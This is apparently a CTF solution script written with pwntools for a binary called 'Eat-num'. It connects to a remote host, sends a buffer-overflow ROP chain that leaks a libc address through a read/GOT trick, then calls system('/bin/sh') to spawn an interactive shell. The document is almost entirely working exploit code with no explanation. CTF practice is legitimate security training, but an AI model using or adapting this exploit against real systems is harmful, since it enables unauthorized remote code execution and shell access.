Eat-num

from pwn import\*

context(os = 'linux', arch = 'amd64', log\_level='debug')

#io=process('./attachment-38')

io=remote('59.110.164.72',10067)

libc=ELF('./libc.so.6')

elf=ELF('./attachment-38')

print(hex(libc.sym['read']))

print(hex(libc.sym['puts']))

print(hex(libc.sym['write']))

print(hex(libc.sym['\_\_libc\_start\_main']))

ret=0x080482b2

pop\_4\_ret=0x080484a8

read\_plt=0x080482E0

read\_got=0x804A00C

pop\_3\_ret=0x080484a9

payload=b'a'\*0x48+b'aaaa'+p32(0x080482E0)+p32(pop\_3\_ret)+p32(0)+p32(0x804A00C)+p32(0x50)+p32(0x080482E0)+p32(pop\_3\_ret)+p32(1)+p32(0x804A00C)+p32(0x50)

#payload+=p32(0x80482D0)+p32(0x080482E0)+p32(pop\_3\_ret)+p32(0)+p32(0x804A00C)+p32(0x50)

payload+=p32(0x80482E6)+p32(0x804840B)

#gdb.attach(io)

io.sendline(payload)

#gdb.attach(io)

io.send(p8(0xd0))

libc\_base=u32(io.recv(4))-0x0d44d0

print(hex(libc\_base))

bin\_sh=libc\_base + 0x15912b

system=libc\_base +0x03a950

payload=b'a'\*0x48+b'aaaa'+p32(system)+p32(0)+p32(bin\_sh)

io.sendline(payload)

io.interactive()